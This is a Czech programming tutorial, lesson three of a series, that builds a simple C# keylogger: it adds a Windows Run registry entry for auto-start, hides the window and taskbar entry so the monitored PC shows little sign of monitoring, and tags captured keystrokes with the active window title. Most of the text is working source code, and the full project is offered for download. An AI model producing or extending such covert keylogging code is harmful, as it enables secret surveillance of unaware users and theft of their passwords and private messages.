Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 3 - Jednoduchý KeyLogger v C# - Spuštění po startu PC

V minulém dílu jsme zprovoznili jednoduchý KeyLogger. Dnes ho vylepšíme o možnost spuštění po startu Windows.

Určitě je to krásné, když se nám KeyLogger spouští sám při startu Windows. Když monitorovaný PC nejeví téměř žádnou známku o tom, že je monitorován. A vlezlý uživatel, co nemá na PC nic dělat je chycen při činu. A proto se na to pojďme podívat :) Vytvoříme si jednoduchou třídu Register.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Windows.Forms;

namespace KeyLogger
{
    class Register
    {
        static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        /// <summary>
        /// Nastaví/odstraní spouštění po startu
        /// </summary>
        /// <param name="run">Hodnota zda se má spouštět, či nikoli</param>
        public static void SetOnStartup(bool run)
        {
            if (run == true)
                rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString() + " -h");
            else
                rkApp.DeleteValue(Application.ProductName, false);
        }

        /// <summary>
        /// Zjistí, zda je program nastaven po spuštění. Pokud ano a změnila se cesta, tak ji aktualizuje.
        /// </summary>
        /// <returns></returns>
        public static bool IsOnStartup()
        {
            if (rkApp.GetValue(Application.ProductName) == null) return false;

            if (!System.IO.File.Exists(rkApp.GetValue(Application.ProductName).ToString()))
                rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString());

            return true;
        }
    }
}

A teď použití. Přidejme na formulář ještě jeden checkBox a nazvěme ho "chbStartWithWin­dows", můžeme ho nadepsat "Spusti při startu Windows?" Dále si vytvořme metodu s názvem "CheckStartPro­gram"

// Kontrola, zda se má program spustit po startu, pakliže ano, spustím i logování
private void CheckStartProgram()
{
    if (chbStartWithWindows.Checked == true)
    {
        Register.SetOnStartup(chbStartWithWindows.Checked);
        chbCheckRules.Checked = true; // zaháčkuji okno s pravidly
        StartKeyLogger(); // volání metody pro spuštění
        this.Hide();
        this.ShowInTaskbar = false;

    }
    else
    {
        Register.SetOnStartup(chbStartWithWindows.Checked);
    }
}

Možná jste se všimli, ale volám zde metodu pro odstartování KeyLoggeru. Ano, vytvořil jsem z obsahu tlačítka btnStart metodu, abych nemusel jeho kód psát 2x. Kód tlačítka vypadá takto:

private void btnStart_Click(object sender, EventArgs e)
{
    StartKeyLogger();
}

A motoda pro start keyloggeru vypadá tedy takto:

private void StartKeyLogger()
{
    this.Text = "KeyLogger 1.5 - Zapnut"; // nadepíšu toto hlavní okno
    btnStop.Enabled = true; // povolím tlačítko pro vypnutí KeyLoggeru
    btnStart.Enabled = false; // zakážu tlačítko pro spuštění KeyLoggeru
    tCheckKey.Enabled = true; // zapnu timer pro snímání kláves
    tCheckHide.Enabled = true; // zapnut timer umožňující skrývání
    tClearField.Enabled = true; // zapnu timer pro mazání okna
}

Nyní si upravíme událost Form1_Load, která nastává při vytvoření formuláře. Potřebujeme aby se při vytvoření zapnul KeyLogger, pokud je zaháčkovaný, že se má zapnout při startu.

private void Form1_Load(object sender, EventArgs e)
{
    /* Pokud tedy je zaháčkovaný checkBox po spuštění, metoda zapne keyLogger rovnou skrytě.
     * Pokud není zaháčkovaný, keyLogger se spustí, jako kdyby se spustil poprvé. */
    CheckStartProgram(); // voláme metodu, pro zjistění stavu spuštění.
}

Teď je třeba zajistit, aby se nastavilo spuštění při startu. Uděláme to v metodě CheckedChanged našeho chbStartWithWin­dows. Kód vypadá takto:

private void chbStartWithWindows_CheckedChanged(object sender, EventArgs e)
{
    Register.SetOnStartup(chbStartWithWindows.Checked);
}

Nyní nám chybí už jen zajistit, aby při spuštění programu se zjistilo a tím pádem i zaháčkovalo(od­háčkovalo), zda má být program spuštěn po startu Winodows. To můžeme udělat v public Form1. Tedy upravíme to na toto:

public Form1()
{
    InitializeComponent();
    chbStartWithWindows.Checked = Register.IsOnStartup(); // nastavíme checkBox podle toho, existence registru na spuštění keyLoggeru po startu windows
}

To by mělo být k nastavení možnosti po spuštění Windows asi vše :)

Nyní už jen přehlednost a máte pěkný KeyLogger :)

Pro zpřehlednění logu je třeba vytvořit další třídu. Nazvěme ji ActiveWindow. Jak je již z názvu patrné, budeme zjišťovat, které okno je aktivní. Třída bude vpadat takto:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;

namespace KeyLogger
{
    public static class ActiveWindow
    {

        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

        public static string GetTitle() // metoda, která nám vrací název okna
        {
            const int nChars = 256; // maximální délka názvu
            IntPtr handle = IntPtr.Zero;
            StringBuilder title = new StringBuilder(nChars);
            handle = GetForegroundWindow();

            if (GetWindowText(handle, title, nChars) > 0)
                return title.ToString();
            return "";

        }
    }
}

Teď už jen použití. Použití tohoto nám upraví kód timeru tCheckKey Nezapomeňte vytvořit proměnnou sActiveWindowOld!

string sActiveWindowOld = "";

private void tCheckKey_Tick(object sender, EventArgs e)
{
    string activeWindow = ActiveWindow.GetTitle();

    if (activeWindow != sActiveWindowOld) // pokud je aktivní okno jiné, než okno, které bylo aktivní předtím,
        if (activeWindow != "") // a součas jeho název není prázdný
            tbLog.Text += "\r\n" + activeWindow + ": "; // Vytvořím nový záznam do TB o novém okně

    tbLog.Text += Key.GetBuffKeys(); // Přidám stiklou klávesu
    tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
    sActiveWindowOld = activeWindow; // Nastavím do starého okna nové okno
}

Taaaak, to by mělo být naprosto všechno k velmi jednoduchému keyLoggeru. Snad to funguje jak má. KeyLogger můžeze libovolně vylepšovat, rád uvítám vaše názory na vylepšení a podobně :)


 

Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.

Stáhnout

Stažením následujícího souboru souhlasíš s licenčními podmínkami

Staženo 1248x (80.68 kB)
Aplikace je včetně zdrojových kódů v jazyce C#

 

Předchozí článek
Jednoduchý KeyLogger v C# - Zachytávání kláves
Všechny články v sekci
Jednoduchý KeyLogger v C# .NET
Článek pro vás napsal Mediel
Avatar
Uživatelské hodnocení:
3 hlasů
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD
Aktivity